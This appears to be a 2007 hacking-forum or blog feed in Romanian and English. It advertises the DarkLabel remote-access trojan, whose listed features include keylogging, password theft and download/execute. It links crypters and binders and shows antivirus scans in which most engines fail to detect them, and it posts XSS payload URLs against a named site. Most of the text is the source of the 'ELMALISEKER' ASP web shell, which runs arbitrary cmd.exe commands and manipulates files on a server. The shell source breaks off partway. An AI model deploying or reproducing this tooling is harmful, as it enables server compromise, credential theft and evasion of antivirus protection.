Ras

October 16, 2007

DarkLabel 1.0 B2

Compiled at 27/9/2007

Made in Egypt by dLinSide

==================================================

DarkLabel is a firewall bypass reverse connection remote administration tool, that allows you to remotely control computers that are behind firewalls and routers.

+ Server is 132 KB UnPacked , 36 KB Packed with UPX

==================================================

[ Features ]

+ FWB

+ ActiveX Startup

+ Encrypted Connection

+ Multiple DNS/IP Addresses

+ Client can listen on Multiple Ports

+ One port usage for everything

+ MSN Style Notifications with Sounds

+ Administration : Sleep, Redirect, Close, Uninstall

+ Information (IP, HostName, Country, Language, OS, Uptime, WinDir, ID, FileName, ActiveX Key, Path)

+ File Manager (Up, Back, Refresh, Delete File(s), Rename File, Copy File, Execute File : - Hidden - Normal, Archive File(s), Extract File(s), Make Dir, Rename Dir, Delete Dir, Delete Empty Dir, Upload File, Download File(s)) *Drag and Drop for multiple file to upload*

- File Search (Include Sub Dirs, Manage Folder, Delete, Rename, Copy, Execute : - Hidden - Normal, Download)

+ Process Manager (Terminate)

+ Key Manager : - Offline Logs (Download, Delete Log(s), Delete All Logs) *Colored & Highlighted HTML Log*, - Online Logger (Auto Replace, Send Keys, Copy to Clipboard, Save to File) *Colored & Highlighted*

+ Downloader (New : -Download - Download/Execute - Resume - Resume/Execute, Retry, Pause, Cancel) *Multiple*

+ Screen Manager (Take, Timer, Settings : - Quality - Size 25% 50% 100%, Save, Auto Save)

+ Window Manager (Close, Hide, Show, Maximize, Minimize, Restore)

+ Passwords : - Mail - Messenger - Protected

+ Others : - MSG Manager - Run URL/File

+ Broadcast Commands : Sleep, Redirect, Close, Uninstall, Download/Execute, File Search, Log Off, Restart, Turn Off

+ File Transfer *Multiple*

Download: http://rapidshare.com/files/62882973/DarkLabel_1.0_B2.rar

October 15, 2007

Scan Results:

AhnLab-V3 2007.9.13.0 2007.09.12 -
AntiVir 7.6.0.10 2007.09.13 -
Authentium 4.93.8 2007.09.12 -
Avast 4.7.1043.0 2007.09.12 -
AVG 7.5.0.485 2007.09.13 -
BitDefender 7.2 2007.09.13 -
CAT-QuickHeal 9.00 2007.09.13 -
ClamAV 0.91.2 2007.09.13 -
DrWeb 4.33 2007.09.13 -
eSafe 7.0.15.0 2007.09.13 -
eTrust-Vet 31.1.5130 2007.09.13 -
Ewido 4.0 2007.09.13 -
FileAdvisor 1 2007.09.13 -
Fortinet 3.11.0.0 2007.09.13 -
F-Prot 4.3.2.48 2007.09.12 -
F-Secure 6.70.13030.0 2007.09.13 -
Ikarus T3.1.1.12 2007.09.13 -
Kaspersky 4.0.2.24 2007.09.13 -
McAfee 5118 2007.09.12 -
Microsoft 1.2803 2007.09.13 -
NOD32v2 2528 2007.09.13 -
Norman 5.80.02 2007.09.13 -
Panda 9.0.0.4 2007.09.13 Suspicious file
Prevx1 V2 2007.09.13 -
Rising 19.40.32.00 2007.09.13 -
Sophos 4.21.0 2007.09.13 -
Sunbelt 2.2.907.0 2007.09.13 -
Symantec 10 2007.09.13 -
TheHacker 6.1.10.186 2007.09.13 -
VBA32 3.12.2.4 2007.09.13 -
VirusBuster 4.3.26:9 2007.09.13 -
Webwasher-Gateway 6.0.1 2007.09.13 -

Download: http://rapidshare.com/files/62655189/_B_inder_v1.2.rar

October 15, 2007

AhnLab-V3    2007.10.13.1    2007.10.12    -
AntiVir    7.6.0.23    2007.10.13    -
Authentium    4.93.8    2007.10.13    -
Avast    4.7.1051.0    2007.10.13    Win32:Delf-FTY
AVG    7.5.0.488    2007.10.13    -
BitDefender    7.2    2007.10.13    -
CAT-QuickHeal    9.00    2007.10.13    -
ClamAV    0.91.2    2007.10.13    -
DrWeb    4.44.0.09170    2007.10.13    -
eSafe    7.0.15.0    2007.10.10    -
eTrust-Vet    31.2.5207    2007.10.13    -
Ewido    4.0    2007.10.13    -
FileAdvisor    1    2007.10.13    -
Fortinet    3.11.0.0    2007.10.13    -
F-Prot    4.3.2.48    2007.10.12    -
F-Secure    6.70.13030.0    2007.10.13    -
Ikarus    T3.1.1.12    2007.10.13    -
Kaspersky    7.0.0.125    2007.10.13    -
McAfee    5140    2007.10.12    -
Microsoft    1.2908    2007.10.13    Trojan:Win32/DelfInject.gen!L
NOD32v2    2586    2007.10.13    -
Norman    5.80.02    2007.10.12    -
Panda    9.0.0.4    2007.10.13    -
Prevx1    V2    2007.10.13    -
Rising    19.44.52.00    2007.10.13    -
Sophos    4.22.0    2007.10.13    -
Sunbelt    2.2.907.0    2007.10.13    -
Symantec    10    2007.10.13    -
TheHacker    6.2.8.089    2007.10.13    -
VBA32    3.12.2.4    2007.10.13    -
VirusBuster    4.3.26:9    2007.10.13    -
Webwasher-Gateway    6.0.1    2007.10.13    -

Download: http://rapidshare.com/files/62654280/Hell_Crypter.rar

October 14, 2007

lasa-ma sa te ajut

http://duels.com/items/"><script>alert(/XSS/)</script>

http://duels.com/items/results/?t=&s=&pmn=0&pmx="><script>alert(/XSS/)</script>&rmn=0&rmx=0&imn=0&imx=0&n=Ras

October 12, 2007

cred ca zice de acel stub.

October 11, 2007

Eu unu cred ca sunt niste falsuri...

Voi ce credeti?

Link:

October 11, 2007

frumos tutorial!!!

tine-o tot asa! good work!

October 11, 2007

X-Binder 1.1

Coded by: x-zer0

Compiler: Delphi 7

Date Released: 10.oktm.2007

Tested on: Windows XP SP2

Features:

- Support an unlimited amount of files to bind

- Support the most of all files ( *.exe ; *.jpg ; *.mp3 ; *.gif ….)

- Stub dropper

- Windows Directory

- Stub Size ( 18kb )

Download: http://rapidshare.com/files/61900553/X-Binder.rar

October 11, 2007

X-Crypter 1.0

Coded by: x-zer0 2007

Compiler: Delphi 7

Download: http://rapidshare.com/files/61898397/X-Crypter.rar

October 11, 2007

Link: http://security-frog.org/hack/

Bafta!

October 11, 2007

<%@ Language=VBScript %>
<%Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If%>
<% if request.form("flag")=""then %>
<html>
<head>
<title>::: ELMALISEKER :::</title>
<%
'Commands
dim fs,f
dim FilePath,FolderPath,FileTo,Cmd
dim selFolder,FolderTo
dim Tempmsg
dim TempAtt
dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat
Const ForReading = 1, ForWriting = 2, ForAppending = 3
Set fs = CreateObject("Scripting.FileSystemObject")
FilePath=Request.Form("FileName")
FolderPath=Request.Form("FolderPath")
selFolder=Request.Form("FolderName")
FolderTo=Request.form("CopyFolderTo")
FileTo=Request.Form("CopyFileTo")
Cmd=Request.Form("cmdOption")
TextCmd=Request.form("cmdtxtFileOption")
Select case Cmd
case "DeleteFile"       
fs.deletefile FilePath,TRUE
response.write("File: " & FilePath & " has been deleted.")
case "DeleteFolder"     
fs.deletefolder selFolder,TRUE
response.write("Folder: " & selFolder & " has been deleted.")
FolderPath=Request.form("RefreshFolderPath")
case "CopyFile"
fs.CopyFile FilePath,FileTo, TRUE
response.write("File: " & FilePath & " has been copied to " & FileTo & ".")
case "CopyFolder"
fs.CopyFolder selFolder,FolderTo, TRUE
response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".")
case "SetFileAttributes"
on error resume next
if FilePath <> "" then
Set f = fs.GetFile(FilePath)
select case f.attributes
case 0
FileAttributes = "Normal"
case 1
FileAttributes = "Read Only"
case 2
FileAttributes = "Hidden"
case 3  'Extra
FileAttributes = "Read Only, Hidden"
case 4
FileAttributes = "System"
case 7  'Extra
FileAttributes = "Read Only, Hidden, System"
case 8
FileAttributes = "Volume"
case 16
FileAttributes = "Directory"
case 19
FileAttributes = "Read Only, Hidden, Directoy"
case 23
FileAttributes = "Read Only, Hidden, System, Directory"
case 32
FileAttributes = "Archive"
case 33 'Extra
FileAttributes = "Read Only, Archive"
case 34 'Extra
FileAttributes = "Hidden, Archive"
case 38 'Extra
FileAttributes = "Hidden, Archive, System"
case 39 'Extra
FileAttributes = "Read Only, Hidden, Archive, System"
case 48 
FileAttributes = "Directory, Archive"
case 64
FileAttributes = "Alias"
case 128
FileAttributes = "Compressed"
case else
FileAttributes = f.attributes
end select
end if  
response.write("<form name=frmFileAttributes action=elmaliseker.asp method=post>")
response.write("<input type=hidden name=FileName Value=" & chr(34) & FilePath & chr(34) & ">")
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
response.write("<center><Table border=5 cellpadding=3 bordercolor=#ffffff>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>File Name: " & f.name & "</td>")
response.write("<td rowspan=5><center><u>[b]Set New Attributes:[/b]</u></center>")
response.write("<input type=checkbox name=FileAttribute1 value=0 checked>Normal")
response.write("
<input type=checkbox name=FileAttribute2 value=1>Read Only")
response.write("
<input type=checkbox name=FileAttribute3 value=2>Hidden")
response.write("
<input type=checkbox name=FileAttribute4 value=4>System")
response.write("
<input type=checkbox name=FileAttribute5 value=8>Volume")
response.write("
<input type=checkbox name=FileAttribute6 value=16>Directory")
response.write("
<input type=checkbox name=FileAttribute7 value=32>Archive")
response.write("
<input type=checkbox name=FileAttribute8 value=64>Alias")
response.write("
<input type=checkbox name=FileAttribute9 value=128>Compressed")
response.write("
<center><input type=submit name=cmdOption value=ApplyFileAttributes></center>")
response.write("</td></tr>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of File: " & f.type & "</td></tr>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
response.write("
Size: " & FormatNumber(f.size/1024, 2)  & "KB  (" & f.size & " bytes)</td></tr>")
if f.DateCreated = "" then
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
else
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
end if
if f.DateLastAccessed = "" then
response.write("
Modified: ----")
else
response.write("
Modified: " & f.DateLastAccessed)
end if
if f.DateLastModified = "" then
response.write("
Accessed: ----</td></tr>")
else
response.write("
Accessed: " & f.DateLastModified & "</td></tr>")
end if
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FileAttributes & "</td></tr>")
response.write("</table></center></form>")
case "SetFolderAttributes"
on error resume next
FolderPath=Request.form("RefreshFolderPath")
if selFolder <> "" then
Set f = fs.Getfolder(selFolder)
select case f.attributes
case 0
FolderAttributes = "Normal"
case 1
FolderAttributes = "Read Only"
case 2
FolderAttributes = "Hidden"
case 3  'Extra
FolderAttributes = "Read Only, Hidden"
case 4
FolderAttributes = "System"
case 7  'Extra
FolderAttributes = "Read Only, Hidden, System"
case 8
FolderAttributes = "Volume"
case 16
FolderAttributes = "Directory"
case 17 'Extra
FolderAttributes = "Read Only, Directory"
case 18 'Extra
FolderAttributes = "Hidden, Directory"
case 19
FolderAttributes = "Read Only, Hidden, Directoy"
case 20 'Extra
FolderAttributes = "System, Directory"
case 22 'Extra
FolderAttributes = "Hidden, System. Directory"
case 23
FolderAttributes = "Read Only, Hidden, System, Directory"
case 32
FolderAttributes = "Archive"
case 33 'Extra
FolderAttributes = "Read Only, Archive"
case 34 'Extra
FolderAttributes = "Hidden, Archive"
case 38 'Extra
FolderAttributes = "Hidden, Archive, System"
case 39 'Extra
FolderAttributes = "Read Only, Hidden, Archive, System"
case 48 
FolderAttributes = "Directory, Archive"
case 64
FolderAttributes = "Alias"
case 128
FolderAttributes = "Compressed"
case else
FolderAttributes = f1.attributes
end select
end if  
response.write("<form name=frmFolderAttributes action=elmaliseker.asp method=post>")
response.write("<input type=hidden name=FolderName Value=" & chr(34) & selFolder & chr(34) & ">")
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & ">")
response.write("<center><Table border=5 cellpadding=3 cellspacing=1 bordercolor=#ffffff>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Folder Name: " & f.name & "</td>")
response.write("<td rowspan=5><center><u>[b]Set New Attributes:[/b]</u></center>")
response.write("<input type=checkbox name=FolderAttribute1 value=0 checked>Normal")
response.write("
<input type=checkbox name=FolderAttribute2 value=1>Read Only")
response.write("
<input type=checkbox name=FolderAttribute3 value=2>Hidden")
response.write("
<input type=checkbox name=FolderAttribute4 value=4>System")
response.write("
<input type=checkbox name=FolderAttribute5 value=8>Volume")
response.write("
<input type=checkbox name=FolderAttribute6 value=16>Directory")
response.write("
<input type=checkbox name=FolderAttribute7 value=32>Archive")
response.write("
<input type=checkbox name=FolderAttribute8 value=64>Alias")
response.write("
<input type=checkbox name=FolderAttribute9 value=128>Compressed")
response.write("
<center><input type=submit name=cmdOption value=ApplyFolderAttributes></center>")
response.write("</td></tr>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Type of Folder: " & f.type & "</td></tr>")
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Location: " & f.path)
response.write("
Size: " & FormatNumber(f.size/1024, 2)  & "KB  (" & f.size & " bytes)</td></tr>")
if f.DateCreated = "" then
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: ----")
else
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Created: " & f.DateCreated)
end if
if f.DateLastAccessed = "" then
response.write("
Modified: ----")
else
response.write("
Modified: " & f.DateLastAccessed)
end if
if f.DateLastModified = "" then
response.write("
Accessed: ----</td></tr>")
else
response.write("
Accessed: " & f.DateLastModified & "</td></tr>")
end if
response.write("<tr><td bgcolor=#F8F8FF><font color=#000000>Attributes: " & FolderAttributes & "</td></tr>")
response.write("</table></center></form>")
case "OpenTextFile"
If FilePath <> "" then
lblioMode=Request.form("optiomode")
lblFormat=request.form("optformat")
set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat)
TextOutput = TextFile.ReadAll   
'TextOutput=""
'Do While TextFile.AtEndOfStream <> True
'       TextOutput = TextOutput & TextFile.ReadLine
'Loop
TextFile.close
else
FilePath = FolderPath
end if
response.write("<form name=frmTextFile action=elmaliseker.asp method=post>")
response.write("<center><table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff width=100% height=100% >")
response.write("<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOption value=SaveAs><input type=text size=77 name=FileName value=" & chr(34) & FilePath & chr(34) & "><select name=optUnicode><option value=FALSE>ASCII <option value=TRUE>Unicode</select></td></tr>")
response.write("<tr><td bgcolor=#ffffff><center><textarea name=txtFile rows=20 cols=85>" & TextOutput & "</textarea></center></td></tr>")
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write("<ERROR: THIS IS NOT A TEXT FILE>")
response.write(chr(13))
response.write("<FilePath: " & FilePath & ">")
response.write(chr(13))
response.write("<ioMode: " & lblioMode & ">")
response.write(chr(13))
response.write("<Format: " & lblFormat & ">")
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write(chr(13))
response.write("<tr><td><input type=hidden name=FolderPath Value=" & chr(34) & FolderPath & chr(34) & "></td></tr>")
response.write("</table></center>

") 
case "ApplyFileAttributes"
TempAtt=int(Request.form("FileAttribute1"))
TempAtt=TempAtt + int(Request.form("FileAttribute2"))
TempAtt=TempAtt + int(Request.form("FileAttribute3"))
TempAtt=TempAtt + int(Request.form("FileAttribute4"))
TempAtt=TempAtt + int(Request.form("FileAttribute5"))
TempAtt=TempAtt + int(Request.form("FileAttribute6"))
TempAtt=TempAtt + int(Request.form("FileAttribute7"))
TempAtt=TempAtt + int(Request.form("FileAttribute8"))
TempAtt=TempAtt + int(Request.form("FileAttribute9"))
Set f = fs.GetFile(FilePath)
f.attributes=int(TempAtt)
response.write("File: " & FilePath & " attributes have been changed.")
case "ApplyFolderAttributes"
FolderPath=Request.form("RefreshFolderPath")
TempAtt=int(Request.form("FolderAttribute1"))
TempAtt=TempAtt + int(Request.form("FolderAttribute2"))
TempAtt=TempAtt + int(Request.form("FolderAttribute3"))
TempAtt=TempAtt + int(Request.form("FolderAttribute4"))
TempAtt=TempAtt + int(Request.form("FolderAttribute5"))
TempAtt=TempAtt + int(Request.form("FolderAttribute6"))
TempAtt=TempAtt + int(Request.form("FolderAttribute7"))
TempAtt=TempAtt + int(Request.form("FolderAttribute8"))
TempAtt=TempAtt + int(Request.form("FolderAttribute9"))
Set f = fs.Getfolder(selFolder)
f.attributes=int(TempAtt)
response.write("Folder: " & selFolder & " attributes have been changed.")
end select
Select Case TextCmd
case "SaveAs"
TextWrite = Request.form("txtFile")
TextCreateFormat = Request.form("optUnicode")
if textcreateformat = "TRUE" then
tempmsg="Unicode"
else
tempmsg="ASCII"
end if
Set TextFile = fs.CreateTextFile(FilePath, True, TextCreateFormat)
TextFile.Write TextWrite
TextFile.Close
response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.")
end select
%>
<%
Public CurrentPath
Function ShowDriveLetters()
on error resume next
Dim fs, d, dc, t
dim isReadyColor,TempSize,ShowDriveInfo
Set fs = CreateObject("Scripting.FileSystemObject")
Set dc = fs.Drives
ShowDriveInfo=Request.Form("chkShowDriveInfo")
response.write("<form name=lstDrives action=elmaliseker.asp method=post>")
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
if showdriveinfo="TRUE" then
response.write("<tr colspan=8><td align=center colspan=8 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE> Show Drive Info  </td></tr>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>File System</u>[b]</td>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Serial #</u>[b]</td>")
else
response.write("<tr colspan=2><td align=center colspan=2 bgcolor=#f8f8ff><font color=#000000><input type=checkbox name=chkShowDriveInfo value=TRUE>Show Drive Info</td></tr>")
end if
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Type</u>[b]</td>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Drive</u>[b]</td>")
if showdriveinfo="TRUE" then
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Volume Name</u>[b]</td>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Share Name</u>[b]</td>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Free Space</u>[b]</td>")
response.write("<td align=center bgcolor=#f8f8ff><font color=#000000>[b]<u>Total Size</u>[b]</td>")
end if
response.write("</tr>")
For Each d in dc
Select Case d.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Network"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
if showdriveinfo="TRUE" then
if d.isReady then
response.write("<TR bgcolor=#000000>")
else
response.write("<TR bgcolor=#191970>")
end if
if d.filesystem = "" then
response.write("<td align=center>....</td>")
else
response.write("<td align=center>" & d.filesystem & "</td>")
end if
if d.SerialNumber = "" then
response.write("<td align=center>....</td>")
else
response.write("<td align=center>" & d.SerialNumber & "</td>")
end if
else
response.write("<TR>")
end if
response.write("<td align=center>" & t & "</td>")
response.write("<td align=center><input type=submit name=FolderPath value=" & d.driveletter & ":\></td>")
if showdriveinfo="TRUE" then
if d.volumename="" then
response.write("<td align=center>....</td>")
else
response.write("<td align=center>" & d.volumename & "</td>")
end if
if d.sharename="" then
response.write("<td align=center>....</td>")
else
response.write("<td align=center>" & d.sharename & "</td>")
end if
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
if d.isready then
freespace = (d.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write("<td align=center>" & Round(freespace,1) & " MB</td>")
else
response.write("<td align=center>....</td>")
end if
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
if d.isready then
totalspace = (d.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write("<td align=center>" & Round(totalspace,1) & " MB</td>")
else
response.write("<td align=center>....</td>")
end if
end if
Next
response.write("</tr>")
response.write("</tr></table>")
response.write("</form>")
End Function
Function ShowFolderNames()
on error resume next
Dim fs, f, f1, s, sf ,FP
dim ShowFolderInfo,FolderAttributes 
ShowFolderInfo=request.form("chkShowFolderInfo")
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
IP=chr(34) & IP & chr(34)
end if
CurrentPath=FP
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(FP)
Set sf = f.SubFolders
response.write("<form name=lstFolders action=elmaliseker.asp method=post>")
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=Submit name=FolderPath value=RefreshFolder></td></tr>")
response.write("<input type=hidden name=RefreshFolderPath value=" & chr(34) &  fp & chr(34) & ">")
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=checkbox name=chkShowFolderInfo value=TRUE> Show Folder Info</td></tr>")
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFolder>
<input type=submit name=cmdOption Value=CopyFolder> to <input type=text name=CopyFolderTo></td></tr>")
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFolderAttributes>")
if showfolderinfo="TRUE" then
response.write("<TR>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Folder</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Size</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Type</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Attributes</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Created</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Last Accessed</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Last Modified</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Short Name</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Short Path</u>[/b]</td>")
response.write("</tr>")
end if
For Each f1 in sf
if showfolderinfo="TRUE" then
response.write("<tr>")
response.write("<td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td>")
response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0)  & " kb</td>")
response.write("<td align=center nowrap>" & f1.type & "</td>")
folderattributes="...."
select case f1.attributes
case 0
FolderAttributes = "Normal"
case 1
FolderAttributes = "Read Only"
case 2
FolderAttributes = "Hidden"
case 3  'Extra
FolderAttributes = "Read Only, Hidden"
case 4
FolderAttributes = "System"
case 7  'Extra
FolderAttributes = "Read Only, Hidden, System"
case 8
FolderAttributes = "Volume"
case 16
FolderAttributes = "Directory"
case 17 'Extra
FolderAttributes = "Read Only, Directory"
case 18 'Extra
FolderAttributes = "Hidden, Directory"
case 19
FolderAttributes = "Read Only, Hidden, Directoy"
case 20 'Extra
FolderAttributes = "System, Directory"
case 22 'Extra
FolderAttributes = "Hidden, System. Directory"
case 23
FolderAttributes = "Read Only, Hidden, System, Directory"
case 32
FolderAttributes = "Archive"
case 33 'Extra
FolderAttributes = "Read Only, Archive"
case 34 'Extra
FolderAttributes = "Hidden, Archive"
case 38 'Extra
FolderAttributes = "Hidden, Archive, System"
case 39 'Extra
FolderAttributes = "Read Only, Hidden, Archive, System"
case 48 
FolderAttributes = "Directory, Archive"
case 64
FolderAttributes = "Alias"
case 128
FolderAttributes = "Compressed"
case else
FolderAttributes = f1.attributes
end select
response.write("<td align=center nowrap>" & FolderAttributes & "</td>")
if f1.datecreated = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
end if
if f1.datelastaccessed = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
end if
if f1.datelastmodified = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
end if
response.write("<td align=center nowrap>" & f1.shortname & "</td>")
response.write("<td align=center nowrap>" & f1.shortpath & "\</td></tr>")
else
response.write("<tr><td><input type=radio name=FolderName value=" & chr(34) & FP & f1.name & chr(34) & "><Input type=submit name=FolderPath value=" & chr(34) & FP & F1.name & "\" & chr(34) & "></td></tr>")
end if
Next
response.write("</table>")
response.write("</form>")
End Function
Function ShowFileNames()
on error resume next
Dim fs, f, f1, fc, FP
dim ShowFileInfo,FileAttributes,ShowPrefix
ShowPrefix=request.form("txtShowPrefix")
ShowFileInfo=Request.form("chkShowFileInfo")
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
IP=chr(34) & IP & chr(34)
end if
CurrentPath=FP
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(FP)
Set fc = f.Files
response.write("<form name=lstFiles action=elmaliseker.asp method=post>")
response.write("<table border=5 cellspacing=1 cellpadding=3 bordercolor=#ffffff>")
response.write("<tr colspan=10><td align=left colspan=10 bgcolor=#F8F8FF><font color=#000000><input type=submit value=RefreshFiles> <input type=checkbox name=chkShowFileInfo value=TRUE> Show File Info &
Show Only:  <input type=text name=txtShowPrefix value= ></td></tr>")
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=DeleteFile><input type=submit name=cmdOption Value=CopyFile> to <input type=text name=CopyFileTo></td></tr>")
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=OpenTextFile><select name=optioMode><option value=" & chr(34) & "1" & chr(34) & ">For Reading <option value="& chr(34) & "2" & chr(34) & ">For Writing <option value=" & chr(34) & "8" & chr(34) & ">For Appending</select><select name=optformat><option value=" & chr(34) & "-2" & chr(34) & ">System Default <option value=" & chr(34) & "-1" & chr(34) & ">Unicode <option value=" & chr(34) & "0" & chr(34) & ">ASCII</select></td>")
response.write("<tr colspan=10><td colspan=10 align=left bgcolor=#F8F8FF><font color=#000000><input type=submit name=cmdOption Value=SetFileAttributes>")
response.write("<input type=hidden name=FolderPath Value=" & chr(34) & fp & chr(34) & "></tr>")
if showfileinfo="TRUE" then
response.write("<TR>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>File</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Size</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Type</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Attributes</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Created</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Last Accessed</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Last Modified</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Short Name</u>[/b]</td>")
response.write("<td align=center nowrap bgcolor=#ffffff><font color=#000000>[b]<u>Short Path</u>[/b]</td>")
response.write("</tr>")
end if
For Each f1 in fc
if showfileinfo="TRUE" then
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
response.write("<tr>")
response.write("<td align=center nowrap><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td>")
response.write("<td align=center nowrap>" & FormatNumber(f1.size/1024, 0)  & " kb</td>")
response.write("<td align=center nowrap>" & f1.type & "</td>")
select case f1.attributes
case 0
FileAttributes = "Normal"
case 1
FileAttributes = "Read Only"
case 2
FileAttributes = "Hidden"
case 3  'Extra
FileAttributes = "Read Only, Hidden"
case 4
FileAttributes = "System"
case 7  'Extra
FileAttributes = "Read Only, Hidden, System"
case 8
FileAttributes = "Volume"
case 16
FileAttributes = "Directory"
case 19
FileAttributes = "Read Only, Hidden, Directoy"
case 23
FileAttributes = "Read Only, Hidden, System, Directory"
case 32
FileAttributes = "Archive"
case 33 'Extra
FileAttributes = "Read Only, Archive"
case 34 'Extra
FileAttributes = "Hidden, Archive"
case 38 'Extra
FileAttributes = "Hidden, Archive, System"
case 39 'Extra
FileAttributes = "Read Only, Hidden, Archive, System"
case 48 
FileAttributes = "Directory, Archive"
case 64
FileAttributes = "Alias"
case 128
FileAttributes = "Compressed"
case else
FileAttributes = f1.attributes
end select
response.write("<td align=center nowrap>" & FileAttributes & "</td>")
if f1.datecreated = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datecreated & "</td>")
end if
if f1.datelastaccessed = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datelastaccessed & "</td>")
end if
